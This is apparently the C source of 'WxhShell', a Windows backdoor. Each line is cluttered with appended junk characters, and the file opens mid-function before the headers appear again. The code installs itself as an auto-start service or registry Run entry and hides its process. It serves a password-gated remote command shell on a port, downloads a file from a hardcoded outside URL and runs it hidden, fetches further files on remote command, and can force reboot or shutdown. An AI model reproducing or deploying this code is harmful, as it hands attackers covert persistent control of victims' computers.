    if(Boot(SHUTDOWN)) #N~1Y e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nG{o$v_|  
    else { 5~im.XfiVx  
    closesocket(wsh); 0 VG;z#{J  
    ExitThread(0); @0NWc c+  
    } nII#uI /!q  
    break; ]w$cqUhM  
    } \d]Y#j<  
  // 获取shell 4PkKL/E  
  case 's': { Q 8;JvCz   
    CmdShell(wsh); Aho*E9VW  
    closesocket(wsh); _IV!9 JL  
    ExitThread(0); q"DHMZB  
    break; dxH\H?NO  
  } x(4"!#  
  // 退出 V[WL S?-)  
  case 'x': { %W=BdGr[8z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X=lsuKREZ  
    CloseIt(wsh); i3d 2+N`  
    break; 0w< ilJ  
    } ~Cg7  
  // 离开 PX2b(fR8_O  
  case 'q': { iWFtb)3B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >ke.ZZV?  
    closesocket(wsh); oR,zr  
    WSACleanup(); _iEnS4$A8  
    exit(1); "O|.e`C%^  
    break; | WTWj  
        } .jC5 y&  
  } kt\,$.v8  
  } EA9.?F  
jENC1T(  
  // 提示信息 g>w {{G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ".N{v1  
} '|) ,?  
  } u?g&(h  
.n4{xQo,EJ  
  return; ^w"hA;  
} Hvy$DX|p  
B9KBq $e  
// shell模块句柄 o2hZ=+w>  
int CmdShell(SOCKET sock) 7'Hh^0<  
{ A"s?;hv\fS  
STARTUPINFO si; j{2 0  
ZeroMemory(&si,sizeof(si)); Dv` "3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }aI>dHL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P/^@t+KC  
PROCESS_INFORMATION ProcessInfo; 6BEpnw>p(  
char cmdline[]="cmd"; R$A%Zh6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W=LJhCpRHj  
  return 0; nm]lPKU+Y  
} sDTw</@  
pzUr9  
// 自身启动模式 .X"&k O>G  
int StartFromService(void) I&gd"F _v}  
{ b!Nr  
typedef struct a~LdcUYs  
{  ST~YO  
  DWORD ExitStatus; pFZ$z?lI  
  DWORD PebBaseAddress; TX@ed  
  DWORD AffinityMask; J=(i0A  
  DWORD BasePriority; >&R@L KP  
  ULONG UniqueProcessId; *//z$la  
  ULONG InheritedFromUniqueProcessId; `kv7Rr}Q  
}   PROCESS_BASIC_INFORMATION; SDNRcSbOD6  
XP:fL NpQ  
PROCNTQSIP NtQueryInformationProcess; 55UPd#E'  
K :+q9;g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i+< v7?:`#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T<b* =i  
yJO Jw o^  
  HANDLE             hProcess; $cwmfF2C  
  PROCESS_BASIC_INFORMATION pbi; !$ii*}  
=h +SZXe<r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PApr8Xe  
  if(NULL == hInst ) return 0; D^P0X:T]  
%zRuIDmv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "UhE'\()  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A #m_w*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N;BuBm5K  
0dS(g&ZR  
  if (!NtQueryInformationProcess) return 0; ?m7i7Dz   
2G!z/OAj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9HiyN>(  
  if(!hProcess) return 0; ; lrO?sm  
CR2.kuM0~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G %\/[ B  
&DHIYj1 i  
  CloseHandle(hProcess); P2iuB|B@  
P$N5j~*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @qjN>PH~  
if(hProcess==NULL) return 0; bi+g=cS  
"rEfhzmyF  
HMODULE hMod; jq8TfJ|   
char procName[255]; F2_'U' a  
unsigned long cbNeeded; <exyd6iI  
>SziRm>Y7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9=/4}!.  
3 Fy C D4#  
  CloseHandle(hProcess); H.C*IL9  
+Zr~mwM=x  
if(strstr(procName,"services")) return 1; // 以服务启动 4KSq]S.  
.f;@O qU  
  return 0; // 注册表启动 k\*?<g  
} D)l\zs%ie  
|22vNt_  
// 主模块 !O}e)t  
int StartWxhshell(LPSTR lpCmdLine)  cC|  
{ 5 $$Cav  
  SOCKET wsl; 61&{I>~1  
BOOL val=TRUE; Lc[TIX  
  int port=0; $)PS#ND&  
  struct sockaddr_in door; )b=vBs`%  
xN}f?  
  if(wscfg.ws_autoins) Install();  6GVAR  
w'$>E4\   
port=atoi(lpCmdLine); DTo"{!  
_y>drvg  
if(port<=0) port=wscfg.ws_port; #Z `Tk)u/  
~UQ<8`@a  
  WSADATA data; qp#Euq6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hJSWh5]  
5rCJIl.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $3&XM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i[FYR;C  
  door.sin_family = AF_INET; ;V?(j 3b[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \T<F#a  
  door.sin_port = htons(port); !;[cJbqnh  
$^czqA-&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p}/D{|xO  
closesocket(wsl); KD+&5=Y  
return 1; AGS(ud{  
} ePv`R'#  
^J^FGo|M  
  if(listen(wsl,2) == INVALID_SOCKET) { P_  8!Gp  
closesocket(wsl); q*Hg-J}  
return 1; F6Q%<p a  
} c'Ibgfx%m  
  Wxhshell(wsl); sMUpkU-  
  WSACleanup(); yENAcsv  
#8M^;4N >[  
return 0; EL z5P}L6  
#Hu# #x|  
} opN4@a7l  
+|pYu<OY  
// 以NT服务方式启动 LN<rBF[_:f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~!7x45( 1#  
{ 88[u^aC  
DWORD   status = 0; Q!=`|X|:  
  DWORD   specificError = 0xfffffff; EK0~ 3HSZ  
V\r{6-%XiW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _:5t~29  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8)pL0bg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J9j @V4  
  serviceStatus.dwWin32ExitCode     = 0; \.sC{@5K  
  serviceStatus.dwServiceSpecificExitCode = 0; OQ 4h8,  
  serviceStatus.dwCheckPoint       = 0; :5T=y @  
  serviceStatus.dwWaitHint       = 0; ~EXCYUp4v  
R~[~(`/S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2Kr>93O  
  if (hServiceStatusHandle==0) return; }opMf6`w  
1|H4]!7kE  
status = GetLastError(); :(yu t  
  if (status!=NO_ERROR) |#yT]0L%pA  
{ CAom4 Sp'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {TJBB/B1  
    serviceStatus.dwCheckPoint       = 0; `D=`xSEYl  
    serviceStatus.dwWaitHint       = 0; UhkL=+PD  
    serviceStatus.dwWin32ExitCode     = status; O#O"]A  
    serviceStatus.dwServiceSpecificExitCode = specificError; $ #GuV'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c9CFGo?)N  
    return; .;ofRx<  
  } jJt4{c  
(RG "2I3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1MnC5[Q  
  serviceStatus.dwCheckPoint       = 0; wxPl[)E  
  serviceStatus.dwWaitHint       = 0; " Qyi/r41  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *f>\X[wN  
} Jq?zr]"A  
a'Zw^g  
// 处理NT服务事件,比如:启动、停止 Wc!]X.|9*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HyKA+ 7}  
{ 1n7'\esC*  
switch(fdwControl) $G }9iV7  
{ h#Z,ud_  
case SERVICE_CONTROL_STOP: }m5()@Q}a  
  serviceStatus.dwWin32ExitCode = 0; Q{'4,J-w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; % a.T@E  
  serviceStatus.dwCheckPoint   = 0; kZrc^  
  serviceStatus.dwWaitHint     = 0; } snS~kx  
  { GQd[7j[sh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dr=$}Y  
  } ~!g2+^G7+P  
  return; Jmg9|g!f  
case SERVICE_CONTROL_PAUSE: BYhiP/^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x^pt^KR;  
  break; #G`K<%{?f  
case SERVICE_CONTROL_CONTINUE: {[Y7h}7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jrz.n 4Y`  
  break; 'wMvO{}$  
case SERVICE_CONTROL_INTERROGATE: $o\z4_I  
  break; y&O?`"Uv/M  
}; G{>PYLxOb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e"bzZ!c&~V  
} L$ sENOm  
) )FLM^dj  
// 标准应用程序主函数 &ynAB)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y0&vsoT  
{ -vY5h%7kf  
t?PqfVSq  
// 获取操作系统版本 ScD E)r  
OsIsNt=GetOsVer(); =>evkaj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mXS]SE  
XK@&$~iA3  
  // 从命令行安装 YX)Rs Vf  
  if(strpbrk(lpCmdLine,"iI")) Install(); r@vt.t0#  
zb"4_L@m2  
  // 下载执行文件 PeqW+Q.  
if(wscfg.ws_downexe) { 3tJfh=r=1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $0un`&W  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2QAP$f0Ln  
} #-+Q]}fB4  
Y3(MKq  
if(!OsIsNt) { BKb#\(95*  
// 如果时win9x,隐藏进程并且设置为注册表启动 $U9]v5  
HideProc(); lA1  
StartWxhshell(lpCmdLine); y06**f)  
} Tbv w?3  
else ~tRGw^<9  
  if(StartFromService()) Is<XMR|{  
  // 以服务方式启动 j%w^8}U>G  
  StartServiceCtrlDispatcher(DispatchTable); hAc|a9 o  
else LW.j)wB]  
  // 普通方式启动 \)o.Y zAo@  
  StartWxhshell(lpCmdLine); X/vyb^:U  
$\/^O94-l  
return 0; JN`$Fq+  
} Yo' Y-h#  
p=E#!cn3  
P2aFn=f  
k0ai#3iJ  
=========================================== =H;'.!77Hx  
*) T"-}F  
v@q&B|0  
.|hsn6i/-  
|W=-/~X  
-vT{D$&1  
" \-[bU6\A\  
}79jyS-e  
#include <stdio.h> 2\z|/ Q  
#include <string.h> dW!El^w}  
#include <windows.h> "M[&4'OM  
#include <winsock2.h> zp}pS2DU  
#include <winsvc.h> ]adgOlM  
#include <urlmon.h> ry=8Oq&[~  
L*,h=#x(  
#pragma comment (lib, "Ws2_32.lib") H&p:  
#pragma comment (lib, "urlmon.lib") Qox/abC h  
A s}L=2  
#define MAX_USER   100 // 最大客户端连接数 1;S?9N_B  
#define BUF_SOCK   200 // sock buffer 8IxIW0  
#define KEY_BUFF   255 // 输入 buffer ~xsJML  
"JLE  
#define REBOOT     0   // 重启 3BD&;.<r  
#define SHUTDOWN   1   // 关机 [r3sk24  
Eri007?D  
#define DEF_PORT   5000 // 监听端口 $%"hhju  
N"G\ H<n  
#define REG_LEN     16   // 注册表键长度 r6 3l(  
#define SVC_LEN     80   // NT服务名长度 fpC":EX@r  
k+P3z&e  
// 从dll定义API (hZNWQ0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :):vB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,]:< l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a:UkVK]MP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r4K9W9 0  
r nr-wUW@  
// wxhshell配置信息 mTWd+mx  
struct WSCFG { )8#-IXxp  
  int ws_port;         // 监听端口 S(xs;tZ  
  char ws_passstr[REG_LEN]; // 口令 'Rsr*gX#  
  int ws_autoins;       // 安装标记, 1=yes 0=no _D?/$D7u#%  
  char ws_regname[REG_LEN]; // 注册表键名 fjy\Q  
  char ws_svcname[REG_LEN]; // 服务名 ]u$tKC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W'"?5} (  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )uo".n|n~B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3%GsTq2o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $|J+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <\Y(+?+uZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 41Q)w=hoN  
hHVAN3e  
}; S,Q^M )$  
S hy.:XI  
// default Wxhshell configuration .$W}  
struct WSCFG wscfg={DEF_PORT, x"R F[ d  
    "xuhuanlingzhe", SG\ /m'F  
    1, G<<; a  
    "Wxhshell", Q(yg bT  
    "Wxhshell", !^98o:"x  
            "WxhShell Service", uM\\(g}  
    "Wrsky Windows CmdShell Service", LA59O@r  
    "Please Input Your Password: ", cl]W]^q-Cx  
  1, Te?PYV-  
  "http://www.wrsky.com/wxhshell.exe", &-Wt!X 3  
  "Wxhshell.exe" 8N9,HNBT$  
    }; mk!8>XvM  
w42{)S"  
// 消息定义模块 SC4jKm2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^%Cd@!dk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C6a-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 85[ 7lO)[  
char *msg_ws_ext="\n\rExit."; ~Y*.cGA  
char *msg_ws_end="\n\rQuit."; CL7 /J[TS  
char *msg_ws_boot="\n\rReboot..."; ;y@zvec4  
char *msg_ws_poff="\n\rShutdown..."; kJOZ;X=9/  
char *msg_ws_down="\n\rSave to "; m,q)lbRl  
N5=}0s]e  
char *msg_ws_err="\n\rErr!"; ^mFsrw  
char *msg_ws_ok="\n\rOK!"; w_@{v wM$A  
qk3 ~]</  
char ExeFile[MAX_PATH]; .-& =\}^2l  
int nUser = 0; Hmhsb2`\  
HANDLE handles[MAX_USER]; Y:m8UnT  
int OsIsNt; z2,NWmP|w  
$yj*n;  
SERVICE_STATUS       serviceStatus; w~crj$UM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8?kB+}@6X  
1pDU}rPJ.  
// 函数声明 W1 xPK*  
int Install(void); J>#yA0QD2  
int Uninstall(void); c?c\6*O  
int DownloadFile(char *sURL, SOCKET wsh); )z z{~Cf  
int Boot(int flag); <kwF<J  
void HideProc(void); v< 2,OcH  
int GetOsVer(void); V?x&\<;,  
int Wxhshell(SOCKET wsl); A&v Qtd  
void TalkWithClient(void *cs); 9IG<9uj  
int CmdShell(SOCKET sock); (0LA.aBIf  
int StartFromService(void); 'sa)_?Hy  
int StartWxhshell(LPSTR lpCmdLine); #Y-_kQV*  
*)^ ZUk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d$+0 ;D4E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dJ])`S  
LCA+y1LP-_  
// 数据结构和表定义 V3VTbgF  
SERVICE_TABLE_ENTRY DispatchTable[] = |r;>2b/ x  
{ e<`?$tZ3   
{wscfg.ws_svcname, NTServiceMain}, >Jn`RsuV  
{NULL, NULL} lnjs{`^  
}; "10\y{`v^  
V62lN<M  
// 自我安装 (]I=';\  
int Install(void) Wrp+B[ {r\  
{ r]D>p&4  
  char svExeFile[MAX_PATH]; }u0&>k|y  
  HKEY key; fiSX( 9  
  strcpy(svExeFile,ExeFile); &{a#8sbf#c  
WpE "A  
// 如果是win9x系统,修改注册表设为自启动 Xf7]+  
if(!OsIsNt) { D5bi)@G7z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eUCBQK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7iM@BeIf  
  RegCloseKey(key); BLqK5~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <^KW7M}w*c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @RuMo"js  
  RegCloseKey(key); AOcUr)  
  return 0; P()W\+",n  
    } I D-I<Ev  
  } hDUU_.q)D  
} Y|hd!C-x  
else { &;JeLL1J  
8 E l hcs  
// 如果是NT以上系统,安装为系统服务 3jJV5J'"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k6z]"[yu  
if (schSCManager!=0) \k=%G_W  
{ Oz]$zRu/0  
  SC_HANDLE schService = CreateService +CSR!  
  ( M($GZ~ b%A  
  schSCManager, v6uRzFw  
  wscfg.ws_svcname, 0ZI}eZA j  
  wscfg.ws_svcdisp, y>u |3:z  
  SERVICE_ALL_ACCESS, 7!Im|7Ty  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ttlMZLX{TJ  
  SERVICE_AUTO_START, Y@MxKKuj  
  SERVICE_ERROR_NORMAL, UM21Cfqex  
  svExeFile, kqo4 v;r  
  NULL, :2vuc!Pu  
  NULL, j8^ #698X  
  NULL, t*Z5{   
  NULL, FBouXu#  
  NULL !lsa5w{  
  ); e!w2_6?3  
  if (schService!=0) Q/j#Pst  
  { I*cb\eU8Y  
  CloseServiceHandle(schService); ]uh/!\  
  CloseServiceHandle(schSCManager); 3N2d@R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DOkuT/+  
  strcat(svExeFile,wscfg.ws_svcname); v6L]3O1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZzR0k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ).e}.Z6[i`  
  RegCloseKey(key); ^4\0, >  
  return 0; e(b$LUV  
    } r6aIW8  
  } 2* T Ir  
  CloseServiceHandle(schSCManager); D88IU9V&n  
} r[7*1'. p  
} ,->5 sJ{U  
#NL'r99D/o  
return 1; G6x'Myg I  
} itiSZL,  
|_+l D|'  
// 自我卸载 :1gpbfW  
int Uninstall(void) #a tL2(wJ  
{ )_o^d>$da  
  HKEY key; 4N7|LxNNl_  
akCCpnX_d  
if(!OsIsNt) { swJQwY   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y;g\ @j  
  RegDeleteValue(key,wscfg.ws_regname); =kK%,Mr  
  RegCloseKey(key); '`W6U]7>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dShGIH?  
  RegDeleteValue(key,wscfg.ws_regname); D,=#SBJ:Z  
  RegCloseKey(key); UFj!7gX]  
  return 0; D eT$4c*:[  
  } ,TB$D]u8  
} M&9urOa`  
} Au(oKs<  
else { wPcEvGBN=  
7xG~4N<)]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %CgV:.,K  
if (schSCManager!=0) MTNC{:Q  
{ , \RR@~u'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d(b~s2\i  
  if (schService!=0) U+E9l?4R  
  { n3-VqYUP  
  if(DeleteService(schService)!=0) { 1O,8=,K2a  
  CloseServiceHandle(schService); S>j.i  
  CloseServiceHandle(schSCManager); R)isWw4  
  return 0; 6P,uy;PJ  
  } N:+d=G`x  
  CloseServiceHandle(schService); `YMd0*  
  } JZ:yPvJ  
  CloseServiceHandle(schSCManager); GWWaH+F[h  
} H(M{hfa|  
} m"'`$/_  
+~y>22Zfg  
return 1; #<u;.'R  
} Ra H1aS(  
:l iDoGDi  
// 从指定url下载文件 &rX#A@=  
int DownloadFile(char *sURL, SOCKET wsh) C[#C/@  
{ dq'f >S z}  
  HRESULT hr; ;mwnAO  
char seps[]= "/"; %p&y/^=0I  
char *token; zf^|H% ~^  
char *file; /Ah&d@b  
char myURL[MAX_PATH]; V s=o@  
char myFILE[MAX_PATH]; SZR`uS  
*8)va  
strcpy(myURL,sURL); `QW=<Le?  
  token=strtok(myURL,seps); YB2gxZ  
  while(token!=NULL) O(D2F$VlL  
  { L<Z,@q `  
    file=token; =1,1}OucP  
  token=strtok(NULL,seps); ]bpgsW:Xu  
  } yq^Ma  
n%4/@M  
GetCurrentDirectory(MAX_PATH,myFILE); (-&d0a9N  
strcat(myFILE, "\\"); hv\Dz*XTs0  
strcat(myFILE, file); Y| ch ;  
  send(wsh,myFILE,strlen(myFILE),0); <l5m\A  
send(wsh,"...",3,0); jcBZ#|B7;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n5IQKYr g  
  if(hr==S_OK) /m 7~-~$V  
return 0; Z{yH:{Vk  
else 0\@oqw]6hv  
return 1; ijzwct#.  
gxAy{ t  
} "VU/Ucb7  
!H9^j6|  
// 系统电源模块 WLfDXx 2A  
int Boot(int flag) ae]6F_Qtc*  
{ d~{$,"!-f  
  HANDLE hToken; =]/<Kd}A.  
  TOKEN_PRIVILEGES tkp; B<,7!:.II  
kOq8zYU|  
  if(OsIsNt) { >s0![coz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v'S5F@ln  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BNI)y@E^X  
    tkp.PrivilegeCount = 1; `r~3Pf).4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9 Qa_3+.B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZrZDyXL  
if(flag==REBOOT) { 257$ !  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7\R"RH-  
  return 0; .q[}e);)  
} V{A`?Jl6{  
else { Qf}.=(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8Gnf_lkI  
  return 0; \[^! ys  
} =6Gn? /{  
  } & 0WQF  
  else { V'MY+#  
if(flag==REBOOT) { yBIX<P)vE'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yTZ o4c "  
  return 0; lI.oyR'  
} DX+zK'34  
else { C_8_sb Z/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q>rr?L`  
  return 0; cY kb3(  
} a }*i [  
} rPGj+wL5-  
/@\R  
return 1; BzO,(bd!PI  
} RwOOe7mv  
SPt/$uYJ  
// win9x进程隐藏模块 .Y^cs+-o  
void HideProc(void) c:>&YGmhu  
{ iR88L&U>  
c%gL3kOT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Qr 4 D  
  if ( hKernel != NULL ) bcpsjUiy#  
  { 5I^;v;F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `M 'tuQ M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~ A=Gra  
    FreeLibrary(hKernel); @7C.0>W_A  
  } N~l*//Ep  
P*~ vWYH9  
return; AovBKB $  
} zp<B,Ls  
vlE]RB  
// 获取操作系统版本 7}6CUo  
int GetOsVer(void)  ms&1P  
{ 0H_uxkB~  
  OSVERSIONINFO winfo; A1,q 3<<D%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [w|Klq5  
  GetVersionEx(&winfo); _6ck@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c1jR j=\  
  return 1; g,]m8%GHE  
  else J@6j^U  
  return 0; t H.L_< N  
} QeuM',6R  
=|ODa/2 p  
// 客户端句柄模块 [3nWxFz$R  
int Wxhshell(SOCKET wsl) dr:x0>  
{ Xo/H+[;X  
  SOCKET wsh; cy;i1#1rO  
  struct sockaddr_in client; N!3Tg564j  
  DWORD myID; z8JW iRn  
F@f4-NR>  
  while(nUser<MAX_USER) rqqd} kA  
{ Bdb}4X rL  
  int nSize=sizeof(client); iRlZWgj4^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~"SQwE|  
  if(wsh==INVALID_SOCKET) return 1; 09jE7g @X}  
LR>s2zu-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !U m9ceK  
if(handles[nUser]==0) shH2/.>  
  closesocket(wsh); js5VgP`  
else tkr&Fs"t+  
  nUser++; @*Ry`)T  
  } :W1?t*z:[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .'<K$:8@|  
H${LF.8  
  return 0; Y_+#|]=$B  
} 'o#oRK{#  
QRf>lZP  
// 关闭 socket '6&o:t  
void CloseIt(SOCKET wsh) Zp~yemERr  
{ 6WG g_x?3  
closesocket(wsh); }P.Z}n;Uj  
nUser--; ;<m`mb4x[  
ExitThread(0); 7_76X)gIV  
} D_czUM  
\WE&5 9G  
// 客户端请求句柄 ~U"m"zpLP  
void TalkWithClient(void *cs) &s vg<UZ  
{ bHv"!  
?{B5gaU9F  
  SOCKET wsh=(SOCKET)cs; p8%qU>~+4  
  char pwd[SVC_LEN]; n-" (~  
  char cmd[KEY_BUFF]; ka\{?:r,8  
char chr[1]; W3/bM>1  
int i,j; $KGMAg/H  
fPUr O  
  while (nUser < MAX_USER) { VYkh@j  
\?T9 v  
if(wscfg.ws_passstr) { zHX\h [0f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jl`^`Yv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =zK4jiM1  
  //ZeroMemory(pwd,KEY_BUFF); 4hwb] Yz  
      i=0; J#F5by%8  
  while(i<SVC_LEN) { *0!p_Hco  
Hf]:m hH  
  // 设置超时 9AX}V6\+  
  fd_set FdRead; n2B%}LLa  
  struct timeval TimeOut; 1?FG3X 5  
  FD_ZERO(&FdRead); s~A-qG>  
  FD_SET(wsh,&FdRead); 208^Yu  
  TimeOut.tv_sec=8; l X+~;94  
  TimeOut.tv_usec=0; i`r`Fj}-S-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m]>zdP+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e! *] y&W  
QTi@yT:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9Sxr9FLW~  
  pwd=chr[0]; 6Qt(Yu*s  
  if(chr[0]==0xd || chr[0]==0xa) { [_(J8~ va  
  pwd=0; @NRN#~S,_]  
  break; $5JeN{B  
  } |du%c`wl  
  i++; ?I[8rzBWU  
    } lTMY|{9  
s"`~Xnf  
  // 如果是非法用户,关闭 socket m.m6.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :&vX0 Ce:  
} ?IHt T3'Rt  
uv/\1N;V3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jj2iF/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Intuda7e1  
b},2A'X  
while(1) { G^k'sgy.  
5+M,X kg  
  ZeroMemory(cmd,KEY_BUFF); `5?0yXK  
`z(o01y  
      // 自动支持客户端 telnet标准   CsA(oX  
  j=0; vu*e*b$}  
  while(j<KEY_BUFF) { 2lpPN[~d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ))|d~m  
  cmd[j]=chr[0]; T:@6(_Z  
  if(chr[0]==0xa || chr[0]==0xd) { yogavCD9b/  
  cmd[j]=0; \(i'iC  
  break; l[$GOLeS  
  } cj>UxU][eS  
  j++; Yvo*^jv  
    } @Z ==B%`  
1Q(KZI  
  // 下载文件 l2St)`K8  
  if(strstr(cmd,"http://")) { Z&Ob,Ru  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1]Xx {j<  
  if(DownloadFile(cmd,wsh)) IAH"vHM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }S u j=oFp  
  else 8j#S+=l>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1DB{"8ov  
  } W:RjWn@<  
